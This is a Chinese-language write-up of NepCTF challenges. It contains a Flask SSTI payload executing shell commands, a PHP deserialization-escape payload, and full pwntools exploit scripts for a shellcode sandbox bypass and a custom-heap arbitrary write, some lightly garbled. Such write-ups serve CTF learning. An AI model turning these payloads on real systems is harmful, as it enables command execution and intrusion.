# Misc
# NepMagic —— CheckIn
玩完游戏即可
# Nemophila
打开附件得到一个 mimi.py 和一个有密码的压缩包。
按照 mimi.py 的解释,即需要根据 mimi.py 得到压缩包密码。
按照程序对秘密所有地方的描述,得到如下 secret:
secret_is{Frieren&C_SunR15e&Himme1_eterna1_10ve}
注:第五位 e 可以是任意字符,根据上下文推断。
经过测试发现压缩包密码就是上述 secret 全文。解压得到一张乱码字符的图片。
根据图片拓展名,尝试将其文件头和 PNG 文件头异或没发现也是 secret,故以 secret 为密钥,直接解出原图片。
最后发现图片没有 flag,但 010Editor 爆 CRC 校验异常,推测宽高被修改。最终爆破得到宽度 0x75d, 高度 0x41d, 修改图片对应位置数据即找到 flag。
NepCTF
# 3DNep
利用在线工具打开 https://imagetostl.com/cn/view-gltf-online#convert
汉信码解码
# NepCamera
用 WireShark 打开,在返回数据中找到了 jpg 文件头,推测捕获了摄像头 USB 回传的 jpg 每一帧。
通过 Tshark 批量筛选,然后写个脚本对返回数据处理,可以分离出图片。
Exp:
1 | a=open("usb.dat","r").read().split("\n") |
其中获得 usb.dat 的命令为
最终分离出几千张 jpg 图片,可能由于程序缺陷没有复原完整,但是已经可以看到 flag 了。
逐张寻找,得到 flag 为 flag
# Web
# NepDouble
开始测试软链接失败,但注意到题目环境为 flask,且文件名会显示在输出上二没有使用模板,推测为 SSTI。
通过上传 14 返回 14, 确认了这个结果。
最后是普通的构造 SSTI,这道题唯一的 WAF 就是无法使用特殊关键字(如 "*/? 等)。但这些都可以从程序输出获取。例如 / 我是从 env 中得到的。
Payload:
1 | {{[].__class__.__base__.__subclasses__()[132].__init__.__globals__.popen('cat '+[].__class__.__base__.__subclasses__()[132].__init__.__globals__.popen('env').read()[49]+'flag') |
将这个作为文件名然后打包提交后直接得到 flag。
# PHP_MASTER!!
首先程序将 %00 替换成 00, 是长度增加,属于反序列化逃逸。其次,substrstr 自定义函数中,mb_substr 函数由于特殊字符 % f0 和 %9f 导致的误差,可以逃逸出一些字符。
将反序列化待逃逸列出来,即 ";s:3:"str";O:1:"B":1:{s:1:"b";s:7:"phpinfo";}";s:3:"str";N;},长度 46,故需要 46 个 %00。最终 payload:
1 | ?c=%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%22;s:3:%22str%22;O:1:%22B%22:1:{s:1:%22b%22;s:7:%22phpinfo%22;}&nep=Nep&nep1=%f0%f0%f0%f0%f0%f0%f0%9f%f0%f0%f0%f0%9f%f0%9f%f0%f0[%f0%f0%f0NepC]%f0%f0%f0%f0]]]NepCTF]]]] |
note:substrstr 部分有多解,当时由于环境配置,导致我多次弄错,所以较复杂,实际可以简化。
最后在 phpinfo 调用中直接发现 flag。

nepctf
# Pwn
# NepSSH
这题是个比较奇怪的 shellcode。使用了多线程。虽然没开沙盒,但胜似开了沙盒。
当主线程读完 shellcode 后,便 fork 开启子线程执行 shellcode。而主线程会监听子线程,当子线程结束或者请求系统调用时会被主线程捕获,主线程能够获得子线程请求的系统调用的调用号以及参数等信息,并进行修改。
获取的寄存器如下,修改对应的局部变量均可返回至子线程的系统调用中。具体如何实现不清楚。

总结有如下限制:
\1. 遇到 0x3b 调用直接死刑。

\2. 遇到 read 调用会以 read (0,0x********,0x**); 的形式打印输出调用的参数。

\3. 遇到 write 调用会强制修改为打印特定字符


Wulayaha yahawula!
因此,本题肯定要 orw。write 可以用 writev 等替换,但我选用了另一种方法,就是利用 read 可以打印参数的特性,将读取到的 flag 读入 rsi 中,然后 rdx 传 0。(使 read 读取 0 个字符,这样就不会真的往 buf 处写入,否则肯定是非法地址会报错)。然后多次执行就可以用该方法打印出 flag。
Python #!/usr/bin/python3 from pwn import * import re from LibcSearcher import LibcSearcher #--------Common command abbreviation--------------- s = lambda data : io.send(data) sl = lambda data : io.sendline(data) sa = lambda text, data : io.sendafter(text, data) sla = lambda text, data : io.sendlineafter(text, data) r = lambda num=None: io.recv(num) ru = lambda text : io.recvuntil(text) rl = lambda : io.recvline() tb = lambda num : str(num).encode() uu32 = lambda flag=b'\xff', bg=-4, ed=None: u32((r(flag) if isinstance(flag,int) else ru(flag))[bg:ed].ljust(4, b'\x00')) uu64 = lambda flag=b'\x7f', bg=-6, ed=None: u64((r(flag) if isinstance(flag,int) else ru(flag))[bg:ed].ljust(8, b"\x00")) # recive Bytes number rx = lambda nos=10, bg=None, ed=None: int((r(nos)if isinstance(nos,int) else ru(nos))[bg:ed],16) # recive Hex number lg = lambda x, flag=None: log.info(f"{flag if flag else','.join([k for k,v in globals().items() if vx])}:\t{x:#x}"if isinstance(x,int)else x) # output Value ia = lambda : io.interactive() ss = lambda time=0.1: pause() if mode == 2 else sleep(time) #-------------------------------------------------- context.log_level = 'debug' context(os='linux', arch='amd64') elfFile = 'NepBox' url = 'node4.buuoj.cn:2654' libcFile = './libc.so.6' ldFile = '' #------------------------------------------------ libc = ELF(libcFile) if os.path.exists(libcFile) else None mode = int(sys.argv[1]) if len(sys.argv)>1 else 0 # 0: remote 1:local Run 2:local debug e = ELF('./'+elfFile+'_pe') if mode and os.path.exists(elfFile+'_pe') else ELF('./'+elfFile) def start(): global io if mode: io = process('./'+elfFile) # io = process('./'+elfFile+'_pe') # io = process([ldFile,'./'+elfFile], env={'LD_PRELOAD' : libcFile}) else: io =remote('neptune-64932.nepctf.lemonprefect.cn',443, ssl=True, sni=True, typ="tcp") def debug(*args): gdbcmd = [] if mode!=2: return for i in args: if isinstance(i, int): # this = f'b *{i:#x}' this = f'b *$rebase({i:#x})' else: this = i gdbcmd.append(this) gdb.attach(io, '\n'.join(gdbcmd)) pause() #---------------------------------------------- #main script begin: offset = 0 start() pay = asm(shellcraft.sh())[:-2] sc = f''' push {u32(b'flag')} mov rdi, rsp xor esi, esi xor edx, edx mov eax, 2 syscall mov edi, 3 mov edx, 0xff mov rsi, rsp mov eax, 0 syscall xor edx, edx pop rsi xor eax, eax syscall xor edx, edx pop rsi xor eax, eax syscall xor edx, edx pop rsi xor eax, eax syscall xor edx, edx pop rsi xor eax, eax syscall xor edx, edx pop rsi xor eax, eax syscall xor edx, edx pop rsi xor eax, eax syscall ret ''' pay = asm(sc) sa(b'right', pay) # debug(0x000015D6) flag = b'' while True: li = ru(b'\n') if b'FAULT'in li or b'Error' in li: break res = re.match(r'read((\d),(0x[0-9A-Fa-f]+),0x(\d+));\n', li.decode()) if resNone: continue if res.group(3)=='0': dat = int(res.group(2), 16) strs = p64(dat) flag += strs print(f'Flag: {flag}') ia() #main script end #----------------------------------------------
NepBox
是个自定义 malloc 函数的堆题?同时这题自己实现了网络通讯功能,稍微有点绕,真正的主函数是 start_routine。
程序开头读取了 flag,只要当 0x123300 处储存字符串 "NepSSH" 即可拿到 flag。因此要实现堆块的任意分配。

堆块分配函数如下,块结构为:+0 处表示 chunk 是否在使用,0 为使用中,1 为已释放。+8 处为 chunk 大小,+0x10 为一个奇怪的内容,+0x18 为内容。
分配时从 heap 开头,按大小逐步遍历每一个 chunk,如果 chunk 已释放则直接取用,若未找到,则申请新 chunk。每次发送命令时均会分配一次。
释放为清空地址,然后把头部置为 1。
分配时若是取到已释放的 chunk,若该 chunk+0x10 处有内容,则返回该内容,否则将 chunk 地址填入 chunk+0x10,并返回 chunk+0x18,也就是内容处地址。由此可以想到,若该 chunk 第二次释放和第三次取用,由于 chunk+0x10 处已经有值,且为 chunk 头部,那么则直接返回该地址,我们便可以直接从 chunk 头部开始写入,覆盖 chunk 的大小,标志,chunk+0x10 的内容。那么再下一次分配,就能利用 chunk+0x10 获得任意地址的 chunk,实现任意地址写。此时写入 0x123300,就可以在下一次往 0x123300 中写入字符串,然后满足程序条件拿到 flag。

Python #!/usr/bin/python3 from pwn import * from LibcSearcher import LibcSearcher #--------Common command abbreviation--------------- s = lambda data : io.send(data) sl = lambda data : io.sendline(data) sa = lambda text, data : io.sendafter(text, data) sla = lambda text, data : io.sendlineafter(text, data) r = lambda num=None: io.recv(num) ru = lambda text : io.recvuntil(text) rl = lambda : io.recvline() tb = lambda num : str(num).encode() uu32 = lambda flag=b'\xff', bg=-4, ed=None: u32((r(flag) if isinstance(flag,int) else ru(flag))[bg:ed].ljust(4, b'\x00')) uu64 = lambda flag=b'\x7f', bg=-6, ed=None: u64((r(flag) if isinstance(flag,int) else ru(flag))[bg:ed].ljust(8, b"\x00")) # recive Bytes number rx = lambda nos=10, bg=None, ed=None: int((r(nos)if isinstance(nos,int) else ru(nos))[bg:ed],16) # recive Hex number lg = lambda x, flag=None: log.info(f"{flag if flag else','.join([k for k,v in globals().items() if v==x])}:\t{x:#x}"if isinstance(x,int)else x) # output Value ia = lambda : io.interactive() ss = lambda time=0.1: pause() if mode == 2 else sleep(time) #-------------------------------------------------- context.log_level = 'debug' context(os='linux', arch='amd64') elfFile = 'pwn' url = 'rewrite.nepctf.lemonprefect.cn:33629' # libcfile = '/home/walt/share/pwn/libc/libc6_2.23-0ubuntu10_amd64/libc/lib/x86_64-linux-gnu/libc-2.23.so' libcFile = './libc.so.6' ldFile = '' #------------------------------------------------ libc = ELF(libcFile) if os.path.exists(libcFile) else None mode = int(sys.argv[1]) if len(sys.argv)>1 else 0 # 0: remote 1:local Run 2:local debug e = ELF('./'+elfFile+'_pe') if mode and os.path.exists(elfFile+'_pe') else ELF('./'+elfFile) def start(): global io if mode: io = remote('localhost', 8080) # io = process('./'+elfFile+'_pe') # io = process([ldFile,'./'+elfFile], env={'LD_PRELOAD' : libcFile}) else: io = remote('neptune-49245.nepctf.lemonprefect.cn',443, ssl=True, sni=True, typ="tcp") def debug(*args): gdbcmd = [] if mode!=2: return for i in args: if isinstance(i, int): this = f'b *{i:#x}' # this = f'b *$rebase({i:#x})' else: this = i gdbcmd.append(this) gdb.attach(io, '\n'.join(gdbcmd)) pause() #---------------------------------------------- #main script begin: offset = 0 start() debug('b main') sa(b'Username.', b'admin') sa(b'password.', b'admin') s(b'fflush') pause() s(b'fflush') pause() pay = flat(1, 0x1080, 0x123300) s(pay) pause() s(b'fflush') pause() s(b'NepSSH') ia() #main script end #----------------------------------------------